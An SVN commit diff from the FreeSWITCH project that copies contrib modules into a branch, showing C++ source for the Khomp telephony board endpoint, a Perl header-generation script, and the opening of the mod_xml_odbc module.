+                    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Audio callbacks stopped successfully\n");
+                }
+                catch(K3LAPI::invalid_channel & err)
+                {
+                    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Could not send CM_DISCONNECT!\n");
+                }
+            }
+            break;
+        case EV_CONNECT:
+           switch_core_session_t* session;
+            try
+            {
+                session = KhompPvt::khompPvt(e->DeviceId, obj)->session();
+                switch_channel_t *channel;
+                channel = switch_core_session_get_channel(session);
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Call will be answered on board %u, channel %u. [EV_CONNECT]\n", e->DeviceId, obj);
+                switch_channel_mark_answered(channel);
+                /* Start listening for audio */
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Starting audio callbacks ...\n");
+                KhompPvt::khompPvt(e->DeviceId, obj)->start_stream();
+                KhompPvt::khompPvt(e->DeviceId, obj)->start_listen();
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Audio callbacks initialized successfully\n");
+            }
+            catch (K3LAPI::invalid_session & err)
+            {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Something bad happened while getting channel session. Device:%u/Channel:%u. [EV_CONNECT]\n", e->DeviceId, obj);
+            }
+            break;
+        case EV_CALL_SUCCESS:
+            /* TODO: Should we bridge here? Maybe check a certain variable if we should generate ringback? */
+            switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Call on board %u, channel %u is ringing. [EV_CALL_SUCESS]\n", e->DeviceId, obj);
+            break;
+        case EV_CHANNEL_FREE:
+            switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Channel %u on board %u is now free. [EV_CHANNEL_FREE]\n", obj, e->DeviceId);
+            break;
+        case EV_NO_ANSWER:
+            /* TODO: Destroy sessions and channels */
+            switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "No one answered the call on board %u channel %u. [EV_NO_ANSWER]\n", e->DeviceId, obj);
+            break;
+        case EV_CALL_ANSWER_INFO:
+            {
+                /* TODO: Set channel variable if we get this event */
+                /* TODO: Fire an event so ESL can get it? */
+                /* Call Analyser has to be enabled on k3lconfig */
+                const char * startInfo = "";
+                switch (e->AddInfo)
+                {
+                    case (kcsiHumanAnswer):
+                        startInfo = "kcsiHumanAnswer";
+                        break;
+                    case (kcsiAnsweringMachine):
+                        startInfo = "kcsiAnsweringMachine";
+                        break;
+                    case (kcsiCellPhoneMessageBox):
+                        startInfo = "kcsiCellPhoneMessageBox";
+                        break;
+                    case (kcsiUnknown):
+                        startInfo = "kcsiUnknown";
+                        break;
+                    case (kcsiCarrierMessage):
+                        startInfo = "kcsiCarrierMessage";
+                        break;
+                    default:
+                        startInfo = "Error or unknown code!";
+
+                }
+                    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Channel %u, board %u detected: \"%s\". [EV_CALL_ANSWER_INFO]\n", e->DeviceId, obj, startInfo);
+                    break;
+            }
+        case EV_DTMF_DETECTED:
+            /* TODO: What to do with DTMF? */
+            switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Board %u detected DTMF (%d) on channel %u. [EV_DTMF_DETECTED]\n", e->DeviceId, e->AddInfo, obj);
+            break;
+        case EV_DTMF_SEND_FINISH:
+            switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Channel %u on board %u has sucessfully generated DTMF. [EV_DTMF_SEND_FINNISH]\n", obj, e->DeviceId);
+            break;
+        case EV_CALL_FAIL:
+            switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Channel %u on board %u reported call fail. [EV_CALL_FAIL]\n", obj, e->DeviceId);
+            break;
+        case EV_CHANNEL_FAIL:
+            switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Channel %u on board %u reported failure. [EV_CHANNEL_FAIL]\n", obj, e->DeviceId);
+            break;
+        case EV_LINK_STATUS:
+            switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Link %u on board %u changed. [EV_LINK_STATUS]\n", e->DeviceId, obj);
+            break;
+        case EV_PHYSICAL_LINK_DOWN:
+            switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Link %u on board %u is DOWN. [EV_PHYSICAL_LINK_DOWN]\n", e->DeviceId, obj);
+            break;
+        case EV_PHYSICAL_LINK_UP:
+            switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Link %u on board %u is UP. [EV_PHYSICAL_LINK_UP]\n", e->DeviceId, obj);
+            break;
+        case EV_INTERNAL_FAIL:
+            {
+                const char * msg = "";
+                switch(e->AddInfo)
+                {
+                    case kifInterruptCtrl:
+                        msg = "kifInterruptCtrl";
+                        break;
+                    case kifCommunicationFail:
+                        msg = "kifCommunicationFail";
+                        break;
+                    case kifProtocolFail:
+                        msg = "kifProtocolFail";
+                        break;
+                    case kifInternalBuffer:
+                        msg = "kifInternalBuffer";
+                        break;
+                    case kifMonitorBuffer:
+                        msg = "kifMonitorBuffer";
+                        break;
+                    case kifInitialization:
+                        msg = "kifInitialization";
+                        break;
+                    case kifInterfaceFail:
+                        msg = "kifInterfaceFail";
+                        break;
+                    case kifClientCommFail:
+                        msg = "kifClientCommFail";
+                        break;
+                    default:
+                        msg = "UnknownError";
+                }
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This is a fatal error and we will not recover. Reason: %s. [EV_INTERNAL_FAIL]\n", msg);
+                break;
+            }
+        default:
+            switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "New Event has just arrived on %u with untreated code: %x\n", obj, e->Code);
+    }
+
+    return ksSuccess;
+}
+
+void Kstdcall khomp_audio_listener (int32 deviceid, int32 objectid, byte * read_buffer, int32 read_size)
+{
+    KhompPvt * pvt = KhompPvt::khompPvt(deviceid, objectid);
+    /*TODO: write to the switch_buffer_t member, which will be read by channel_read_frame */
+        
+}
+
+/* For Emacs:
+ * Local Variables:
+ * mode:c
+ * indent-tabs-mode:t
+ * tab-width:4
+ * c-basic-offset:4
+ * End:
+ * For VIM:
+ * vim:set softtabstop=4 shiftwidth=4 tabstop=4 expandtab:
+ */

Copied: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/src (from rev 14471, freeswitch/trunk/contrib/mod/endpoints/mod_khomp/src)

Deleted: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/src/globals.cpp

Copied: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/src/globals.cpp (from rev 14471, freeswitch/trunk/contrib/mod/endpoints/mod_khomp/src/globals.cpp) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/src/globals.cpp	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/src/globals.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,17 @@
+#include "globals.h"
+
+
+K3LAPI Globals::_k3lapi;
+
+config_options Globals::_options;
+
+switch_endpoint_interface_t * Globals::_khomp_endpoint_interface;
+switch_api_interface_t * Globals::_api_interface;
+switch_memory_pool_t * Globals::_module_pool = NULL;
+int Globals::_running = 1;
+
+unsigned int Globals::_flags;
+int Globals::_calls;
+switch_mutex_t * Globals::_mutex;
+
+

Deleted: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/src/khomp_pvt.cpp

Copied: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/src/khomp_pvt.cpp (from rev 14471, freeswitch/trunk/contrib/mod/endpoints/mod_khomp/src/khomp_pvt.cpp) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/src/khomp_pvt.cpp	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/src/khomp_pvt.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,327 @@
+#include "khomp_pvt.h"
+
+KhompPvt::KhompPvtVector KhompPvt::_pvts;
+switch_mutex_t * KhompPvt::_pvts_mutex;
+
+KhompPvt * KhompPvt::find_channel(char* allocation_string, switch_core_session_t * new_session, switch_call_cause_t * cause)
+{
+
+    char *argv[3] = { 0 };
+    int argc = 0;
+    
+    int board_low = 0;
+    int board_high = 0;
+
+    int channel_low = 0;
+    int channel_high = 0;
+    
+    bool first_channel_available = true;
+    bool reverse_first_board_available = false;
+    bool reverse_first_channel_available = false;
+
+    *cause = SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
+
+    KhompPvt * pvt = NULL;
+    
+    /* Let's setup our own vars on tech_pvt */
+    if ((argc = switch_separate_string(allocation_string, '/', argv, (sizeof(argv) / sizeof(argv[0])))) < 3)
+    {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
+                "Invalid dial string (%s). Should be on the format:[Khomp/BoardID (or A for first free board)/CHANNEL (or A for first free channel)]\n",
+                allocation_string);
+        return NULL;
+    }
+
+    if(*argv[0] == 'A' || *argv[0] == 'a')
+    {
+        board_low = 0;
+        board_high = Globals::_k3lapi.device_count();
+        // Lets make it reverse...
+        if(*argv[0] == 'a')
+        {
+            reverse_first_board_available = true;
+            switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Doing reverse board lookup!\n");
+        }
+    }
+    else
+    {
+        board_low = atoi(argv[0]);
+        board_high = board_low;
+    }
+
+    if(*argv[1] == 'A' || *argv[1] == 'a')
+    {
+        first_channel_available = true;
+        // Lets make it reverse...
+        if(*argv[1] == 'a')
+        {
+            reverse_first_channel_available = true;
+            switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Doing reverse channel lookup!\n");
+        }
+    }
+    else
+    {
+        first_channel_available = false;
+        channel_low = atoi(argv[0]);
+        channel_high = board_low;
+    }
+
+    /* Sanity checking */
+    if(board_low < 0 || board_high > Globals::_k3lapi.device_count())
+    {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid board selection (%d-%d) !\n", board_low, board_high);
+        return NULL;            
+    }
+
+    switch_mutex_lock(_pvts_mutex);
+
+    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Channel selection: board (%d-%d), channel (%d-%d)!\n", board_low, board_high, channel_low, channel_high);
+    
+    int board = board_low;
+    for ((reverse_first_board_available == false ? board = board_low : board = board_high-1);
+            (reverse_first_board_available == false ? board <= board_high : board >= board_low);
+            (reverse_first_board_available == false ? board++ : board--))
+    {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Checking board %d\n", board);
+        
+        if(pvt != NULL)
+            break;
+        
+        if(first_channel_available)
+        {
+            channel_low = 0;
+            channel_high = Globals::_k3lapi.channel_count(board);
+        }
+        else
+        {
+            if(channel_low < 0 || channel_high > Globals::_k3lapi.channel_count(board))
+            {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid channel selection (%d-%d) !\n", channel_low, channel_high);
+                switch_mutex_unlock(_pvts_mutex);
+                return NULL;
+            }
+        }
+
+        int channel = channel_low;
+        for ((reverse_first_channel_available == true ? channel = channel_high-1 : channel = channel_low);
+                (reverse_first_channel_available == true ? channel >= channel_low : channel <= channel_high);
+                (reverse_first_channel_available == true ? channel-- : channel++)) 
+        {
+            switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Checking if (%d-%d) is free\n", board, channel);
+            try 
+            {
+                K3L_CHANNEL_CONFIG channelConfig;
+                channelConfig = Globals::_k3lapi.channel_config( board, channel );
+            }
+            catch (...)
+            {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Exception while retrieving channel config for board %d, channel%d!\n", board, channel);
+                switch_mutex_unlock(_pvts_mutex);
+                return NULL;
+            }
+            K3L_CHANNEL_STATUS status;
+            if (k3lGetDeviceStatus( board, channel + ksoChannel, &status, sizeof(status) ) != ksSuccess)
+            {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "k3lGetDeviceStatus failed to retrieve channel config for board %d, channel%d!\n", board, channel);
+                switch_mutex_unlock(_pvts_mutex);
+                return NULL;
+            }
+            if(status.CallStatus == kcsFree)
+            {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Channel (%d-%d) is free, let's check if the session is available ...\n", board, channel);
+                pvt = KhompPvt::khompPvt(board, channel);
+                if(pvt != NULL && pvt->session() == NULL)
+                {
+                    pvt->session(new_session);
+                    break;
+                }
+                pvt = NULL;
+            }
+        }
+    }
+
+    if(pvt != NULL)
+    {
+        *cause = SWITCH_CAUSE_SUCCESS;
+    }
+    else
+    {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No channels available\n");
+        *cause = SWITCH_CAUSE_NORMAL_CIRCUIT_CONGESTION;
+    }
+    
+    switch_mutex_unlock(_pvts_mutex);
+    return pvt;
+}
+
+/* Helper functions - based on code from chan_khomp */
+
+int32 KhompPvt::get_audio_dsp()
+{
+    switch (Globals::_k3lapi.device_type(_KDeviceId))
+    {
+        case kdtFXO:
+        case kdtFXOVoIP:
+        case kdtGSM:
+        case kdtGSMSpx:
+            return 0;
+        default:
+            return 1;
+    }
+}
+
+bool KhompPvt::obtain_both(void)
+{
+	/* estes buffers *NAO PODEM SER ESTATICOS*! */
+    char cmd1[] = { 0x3f, 0x03, 0xff, 0x00, 0x05, 0xff };
+    char cmd2[] = { 0x3f, 0x03, 0xff, 0x01, 0x00, 0xff };
+
+    cmd1[2] = cmd1[5] = cmd2[2] = cmd2[5] = _KChannelId;
+
+    int32 val = get_audio_dsp();
+
+    try
+    {
+	    Globals::_k3lapi.raw_command(_KDeviceId, val, cmd1, 6);
+	    Globals::_k3lapi.raw_command(_KDeviceId, val, cmd2, 6);
+    }
+    catch(...)
+    {
+        return false;
+    }
+        
+	return true;
+}
+
+bool KhompPvt::obtain_rx(bool with_delay)
+{
+	/* estes buffers *NAO PODEM SER ESTATICOS*! */
+    char cmd1[] = { 0x3f, 0x03, 0xff, 0x00, (with_delay ? 0x05 : 0x0a), 0xff };
+    char cmd2[] = { 0x3f, 0x03, 0xff, 0x01, 0x09, 0x0f };
+
+    cmd1[2] = cmd1[5] = cmd2[2] = _KChannelId;
+
+    int32 val = get_audio_dsp();
+
+    try
+    {
+	    Globals::_k3lapi.raw_command(_KDeviceId, val, cmd1, 6);
+	    Globals::_k3lapi.raw_command(_KDeviceId, val, cmd2, 6);
+    }
+    catch(...)
+    {
+        return false;
+    }
+
+	return true;
+}
+
+bool KhompPvt::obtain_tx(void)
+{
+	/* estes buffers *NAO PODEM SER ESTATICOS*! */
+    char cmd1[] = { 0x3f, 0x03, 0xff, 0x00, 0x00, 0xff };
+    char cmd2[] = { 0x3f, 0x03, 0xff, 0x01, 0x09, 0x0f };
+
+	cmd1[2] = cmd1[5] = cmd2[2] = _KChannelId;
+
+    int32 val = get_audio_dsp();
+
+    try
+    {
+	    Globals::_k3lapi.raw_command(_KDeviceId, val, cmd1, 6);
+	    Globals::_k3lapi.raw_command(_KDeviceId, val, cmd2, 6);
+    }
+    catch(...)
+    {
+        return false;
+    }
+
+	return true;
+}
+
+bool KhompPvt::start_stream(void)
+{
+    if(switch_test_flag(this, TFLAG_STREAM))
+        return true;
+    
+    try
+    {
+        Globals::_k3lapi.mixer(_KDeviceId, _KChannelId, 0, kmsPlay, _KChannelId);
+        Globals::_k3lapi.command(_KDeviceId, _KChannelId, CM_START_STREAM_BUFFER);
+    }
+    catch(...)
+    {
+		return false;
+    }
+
+    switch_set_flag_locked(this, TFLAG_STREAM);
+    
+	return true;
+}
+
+bool KhompPvt::stop_stream(void)
+{
+    if(!switch_test_flag(this, TFLAG_STREAM))
+        return true;
+    
+    try
+    {
+        Globals::_k3lapi.mixer(_KDeviceId, _KChannelId, 0, kmsGenerator, kmtSilence);
+	    Globals::_k3lapi.command(_KDeviceId, _KChannelId, CM_STOP_STREAM_BUFFER);
+    }
+    catch(...)
+    {
+        return false;
+    }
+
+    switch_clear_flag_locked(this, TFLAG_STREAM);
+    
+	return true;
+}
+
+bool KhompPvt::start_listen(bool conn_rx)
+{
+    if(switch_test_flag(this, TFLAG_LISTEN))
+        return true;
+    
+	const size_t buffer_size = KHOMP_PACKET_SIZE;
+
+    if (conn_rx)
+    {
+	    if (!obtain_rx(false)) // no delay, by default..
+			return false;
+	}
+
+    try
+    {
+        Globals::_k3lapi.command(_KDeviceId, _KChannelId, CM_LISTEN, (const char *) &buffer_size);
+    }
+    catch(...)
+    {
+        return false;
+    }
+
+    switch_set_flag_locked(this, TFLAG_LISTEN);
+    
+	return true;
+}
+
+bool KhompPvt::stop_listen(void)
+{
+    if(!switch_test_flag(this, TFLAG_LISTEN))
+        return true;
+    
+    try
+    {
+        Globals::_k3lapi.command(_KDeviceId, _KChannelId, CM_STOP_LISTEN);
+    }
+    catch(...)
+    {
+        return false;
+    }
+
+	switch_clear_flag_locked(this, TFLAG_LISTEN);
+
+	return true;
+}
+

Deleted: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/src/opt.cpp

Copied: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/src/opt.cpp (from rev 14471, freeswitch/trunk/contrib/mod/endpoints/mod_khomp/src/opt.cpp) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/src/opt.cpp	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/src/opt.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,91 @@
+#include "opt.h"
+
+#include "globals.h"
+
+
+bool Opt::_debug;
+char * Opt::_ip;
+int Opt::_port;
+
+char * Opt::_dialplan;
+char * Opt::_codec_string;
+char * Opt::_codec_order[SWITCH_MAX_CODECS];
+int Opt::_codec_order_last;
+char * Opt::_codec_rates_string;
+char * Opt::_codec_rates[SWITCH_MAX_CODECS];
+int Opt::_codec_rates_last;
+
+
+SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_dialplan, Opt::_dialplan);
+SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_codec_string, Opt::_codec_string);
+SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_codec_rates_string, Opt::_codec_rates_string);
+SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_ip, Opt::_ip);
+
+
+
+void Opt::initialize(void) 
+{ 
+    Globals::_options.add(config_option("debug", _debug, false));
+    //Globals::options.add(config_option("port", _port, ???));
+    //Globals::options.add(config_option("ip", _ip, ???));
+    //Globals::options.add(config_option("dialplan", _dialplan, ???));
+    //Globals::options.add(config_option("ip", _ip, ???));
+}
+
+void Opt::obtain(void)
+{
+    load_configuration("khomp.conf", NULL);
+}
+
+void Opt::load_configuration(const char *file_name, const char **section, bool show_errors)
+{
+    switch_xml_t cfg, xml, settings, param;
+
+    switch_mutex_init(&Globals::_mutex, SWITCH_MUTEX_NESTED, Globals::_module_pool);
+    if (!(xml = switch_xml_open_cfg(file_name, &cfg, NULL))) {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Open of %s failed\n", file_name);
+        return;
+    }
+
+    if ((settings = switch_xml_child(cfg, "settings"))) {
+        for (param = switch_xml_child(settings, "param"); param; param = param->next) {
+            char *var = (char *) switch_xml_attr_soft(param, "name");
+            char *val = (char *) switch_xml_attr_soft(param, "value");
+
+            if (!strcmp(var, "_debug")) {
+                Globals::_options.process(var, val);
+                //_debug = atoi(val);
+            } else if (!strcmp(var, "port")) {
+                _port = atoi(val);
+            } else if (!strcmp(var, "ip")) {
+                set_global_ip(val);
+            //} else if (!strcmp(var, "codec-master")) {
+                //if (!strcasecmp(val, "us")) {
+                //    switch_set_flag(&globals, GFLAG_MY_CODEC_PREFS);
+                //}
+            } else if (!strcmp(var, "dialplan")) {
+                set_global_dialplan(val);
+            } else if (!strcmp(var, "codec-prefs")) {
+                set_global_codec_string(val);
+                _codec_order_last = switch_separate_string(_codec_string, ',', _codec_order, SWITCH_MAX_CODECS);
+            } else if (!strcmp(var, "codec-rates")) {
+                set_global_codec_rates_string(val);
+                _codec_rates_last = switch_separate_string(_codec_rates_string, ',', _codec_rates, SWITCH_MAX_CODECS);
+            }
+        }
+    }
+
+    if (!_dialplan) {
+        set_global_dialplan("default");
+    }
+
+    if (!_port) {
+        _port = 4569;
+    }
+
+    switch_xml_free(xml);
+
+}
+void Opt::clean_configuration(void){}
+
+

Copied: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/tools (from rev 14471, freeswitch/trunk/contrib/mod/endpoints/mod_khomp/tools)

Deleted: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/tools/generate-k3l-header.pl

Copied: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/tools/generate-k3l-header.pl (from rev 14471, freeswitch/trunk/contrib/mod/endpoints/mod_khomp/tools/generate-k3l-header.pl) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/tools/generate-k3l-header.pl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/tools/generate-k3l-header.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,102 @@
+#!/usr/bin/perl
+
+my @files =
+    ( 'KTypeDefs.h', 'KVoIP.h', 'KDefs.h', 'KErrorDefs.h', 'KH100Defs.h',
+      'KMixerDefs.h', 'KR2D.h', 'KISDN.h', 'KGSM.h', 'KStats.h', 'k3lVersion.h', 'k3l.h' );
+
+my $text = "";
+
+foreach my $file (@files)
+{
+    open FILE, ('api/' . $file);
+
+    while (<FILE>)
+    {
+        $text .= $_;
+    }
+
+    close (FILE);
+}
+
+$text =~ s/[\/][\*](.+?)[\*][\/]//smg;
+$text =~ s/[\/][\/](.+)//mg;
+$text =~ s/\#include.+\n//g;
+$text =~ s/\n\n/\n/mg;
+
+my $header =
+"/*  
+    KHOMP endpoint provider for FreeSWITCH(tm)
+    Copyright (C) 2007-2009 Khomp Ind. & Com.  
+  
+  The contents of this file are subject to the Mozilla Public License Version 1.1
+  (the \"License\"); you may not use this file except in compliance with the
+  License. You may obtain a copy of the License at http://www.mozilla.org/MPL/
+
+  Software distributed under the License is distributed on an \"AS IS\" basis,
+  WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for
+  the specific language governing rights and limitations under the License.
+
+  Alternatively, the contents of this file may be used under the terms of the
+  \"GNU Lesser General Public License 2.1\" license (the “LGPL\" License), in which
+  case the provisions of \"LGPL License\" are applicable instead of those above.
+
+  If you wish to allow use of your version of this file only under the terms of
+  the LGPL License and not to allow others to use your version of this file under
+  the MPL, indicate your decision by deleting the provisions above and replace them
+  with the notice and other provisions required by the LGPL License. If you do not
+  delete the provisions above, a recipient may use your version of this file under
+  either the MPL or the LGPL License.
+
+  The LGPL header follows below:
+
+    This library is free software; you can redistribute it and/or  
+    modify it under the terms of the GNU Lesser General Public  
+    License as published by the Free Software Foundation; either  
+    version 2.1 of the License, or (at your option) any later version.  
+  
+    This library is distributed in the hope that it will be useful,  
+    but WITHOUT ANY WARRANTY; without even the implied warranty of  
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU  
+    Lesser General Public License for more details.  
+  
+    You should have received a copy of the GNU Lesser General Public License
+    along with this library; if not, write to the Free Software Foundation, Inc.,
+    51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA 
+  
+*/
+
+";
+
+my $footer =
+"
+enum KISDNDebugFlag
+{
+    kidfQ931                        = 0x01,
+    kidfLAPD                        = 0x02,
+    kidfSystem                      = 0x04,
+    kidfInvalid                     = 0x08,
+};
+
+#define CM_VOIP_START_DEBUG      0x20
+#define CM_VOIP_STOP_DEBUG       0x21
+#define CM_VOIP_DUMP_STAT        0x22
+
+#define CM_ISDN_DEBUG            0x24
+
+#define CM_PING     0x123456
+#define EV_PONG     0x654321
+
+#define CM_LOG_REQUEST                  0x100
+#define CM_LOG_CREATE_DISPATCHER        0x101
+#define CM_LOG_DESTROY_DISPATCHER       0x102
+
+";
+
+open FILE, '>', '../include/k3lDefs.h';
+print FILE $header;
+print FILE "#ifndef INCLUDED_K3LDEFS_H\n";
+print FILE "#define INCLUDED_K3LDEFS_H\n";
+print FILE $text;
+print FILE $footer;
+print FILE "#endif /* INCLUDED_K3LDEFS_H */\n";
+close FILE;

Copied: freeswitch/branches/seven/contrib/mod/event_handlers (from rev 14471, freeswitch/trunk/contrib/mod/event_handlers)

Copied: freeswitch/branches/seven/contrib/mod/event_handlers/mod_csta_socket (from rev 14471, freeswitch/trunk/contrib/mod/event_handlers/mod_csta_socket)

Copied: freeswitch/branches/seven/contrib/mod/event_handlers/mod_csta_socket/CSTAInsideCore (from rev 14471, freeswitch/trunk/contrib/mod/event_handlers/mod_csta_socket/CSTAInsideCore)

Copied: freeswitch/branches/seven/contrib/mod/formats (from rev 14471, freeswitch/trunk/contrib/mod/formats)

Copied: freeswitch/branches/seven/contrib/mod/languages (from rev 14471, freeswitch/trunk/contrib/mod/languages)

Copied: freeswitch/branches/seven/contrib/mod/loggers (from rev 14471, freeswitch/trunk/contrib/mod/loggers)

Copied: freeswitch/branches/seven/contrib/mod/say (from rev 14471, freeswitch/trunk/contrib/mod/say)

Copied: freeswitch/branches/seven/contrib/mod/timers (from rev 14471, freeswitch/trunk/contrib/mod/timers)

Copied: freeswitch/branches/seven/contrib/mod/xml_int (from rev 14471, freeswitch/trunk/contrib/mod/xml_int)

Copied: freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc (from rev 14471, freeswitch/trunk/contrib/mod/xml_int/mod_xml_odbc)

Property changes: freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc


Name: svn:ignore
   + Makefile

Deleted: freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/mod_xml_odbc.c

Copied: freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/mod_xml_odbc.c (from rev 14471, freeswitch/trunk/contrib/mod/xml_int/mod_xml_odbc/mod_xml_odbc.c) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/mod_xml_odbc.c	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/mod_xml_odbc.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,646 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Anthony Minessale II <anthm@freeswitch.org>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * All the FreeSWITCH contributors that I borrowed code from
+ * Leon de Rooij <leon@scarlet-internet.nl>
+ *
+ * Also thanks to:
+ * Scarlet Nederland for donating time and money
+ *
+ *
+ * mod_xml_odbc.c -- Simple templating that can use ODBC to generate XML at search-time
+ *
+ *
+ */
+#include <switch.h>
+
+typedef enum {
+	XML_ODBC_CONFIGURATION = 0,
+	XML_ODBC_DIRECTORY = 0,
+	XML_ODBC_DIALPLAN = 0,
+	XML_ODBC_PHRASES = 0
+} xml_odbc_query_type_t;
+
+SWITCH_MODULE_LOAD_FUNCTION(mod_xml_odbc_load);
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_xml_odbc_shutdown);
+SWITCH_MODULE_DEFINITION(mod_xml_odbc, mod_xml_odbc_load, mod_xml_odbc_shutdown, NULL);
+
+static struct {
+	char *odbc_dsn;
+	switch_xml_t templates_tag;
+	switch_mutex_t *mutex;
+	switch_memory_pool_t *pool;
+	switch_odbc_handle_t *master_odbc;
+	switch_bool_t debug;
+	switch_bool_t keep_files_around;
+	int max_render_template_count;
+} globals;
+
+typedef struct xml_odbc_session_helper {
+	switch_memory_pool_t *pool;	/* memory pool that is destroyed at the end of the session to ease free'ing */
+	char *next_template_name;	/* the name of the next template that has to be rendered */
+	switch_event_t *event;		/* contains headers which is a hash that can easily be expanded ${var} to *chars */
+	switch_xml_t xml_in_cur;	/* current tag in xml template that is rendered from */
+	switch_xml_t xml_out;		/* root tag of xml that is rendered to */
+	switch_xml_t xml_out_cur;	/* current tag in xml that is rendered to */
+	int xml_out_cur_off;		/* depth counter of xml_out_cur */
+	int render_template_count;	/* when this counter > globals.max_render_template_count then stop because there's probably a loop */
+	int tmp_i;					/* temporary counter, used for counting rows in the callback */
+} xml_odbc_session_helper_t;
+
+static switch_status_t xml_odbc_render_tag(xml_odbc_session_helper_t *helper);
+static switch_status_t xml_odbc_render_children(xml_odbc_session_helper_t *helper);
+static switch_status_t xml_odbc_render_template(xml_odbc_session_helper_t *helper);
+
+#define XML_ODBC_SYNTAX "[debug_on|debug_off]"
+
+/* cli commands */
+SWITCH_STANDARD_API(xml_odbc_function)
+{
+	if (session) {
